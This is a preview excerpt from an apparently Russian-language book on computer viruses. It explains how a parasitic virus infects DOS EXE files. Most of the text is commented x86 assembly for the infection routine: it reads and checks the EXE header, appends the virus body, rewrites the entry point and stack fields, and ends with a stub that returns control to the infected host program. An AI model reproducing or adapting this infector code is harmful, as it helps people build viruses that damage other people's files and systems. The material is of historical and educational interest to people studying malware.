Вирусы, внедряющиеся в программу (Parasitic)
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение EXE-файлов
Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE?файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21h
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx,Handle
xor cx,cx
xor dx,dx
int 21h
;Сохраним полученную длину файла
mov Reallen,dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE?файла
push dx
push ax
;Рассчитаем размер EXE?файла в 512?байтных страницах и остаток
CompareOVL:
mov cx,0200h
div cx
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExeIP из заголовка EXE?файла.
;Значения констант, используемых в программе,
;равны смещению соответствующего
;элемента в заголовке EXE?файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss,ax
mov ax,[si+ExeSP]
mov oldsp,ax
mov ax,[si+ReloCS]
mov oldcs,ax
mov ax,[si+ExeIP]
mov oldip,ax
;Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
;Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE – длина тела вируса
adc dx,0
;Рассчитаем получившуюся длину (одна страница – 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div cx
or dx,dx
jz new_len
inc ax
New_len:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx,Reallen+2
mov ax,Reallen
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div cx
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE?файл
sub ax,[si+HdrSize]
;Запишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExeIP],dx
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо ”mov ax,ANYDATA” придется делать так:
; mov si,VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
mov [si+ReloSS],ax
mov ax,VIRSIZE+100h
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateFile:
;Запишем тело вируса
WriteBody:
;Установим указатель чтения/записи в конец файла
mov bx,Handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Запишем тело вируса в файл
mov ah,40h
mov cx,VIRSIZE
mov dx,offset VIRStart
int 21h
;Запишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx,si
int 21hИтак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE:
StackBack:
;Установим первоначальный указатель (сегмент и смещение) стека
mov ax,ds
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
;Установим сегмент стека (PSP+10h+OldSS)
mov ss,ax
;Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
;Разрешим прерывания – опасный участок пройден
sti
;Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
;Рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax,DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iretДанный текст является ознакомительным фрагментом.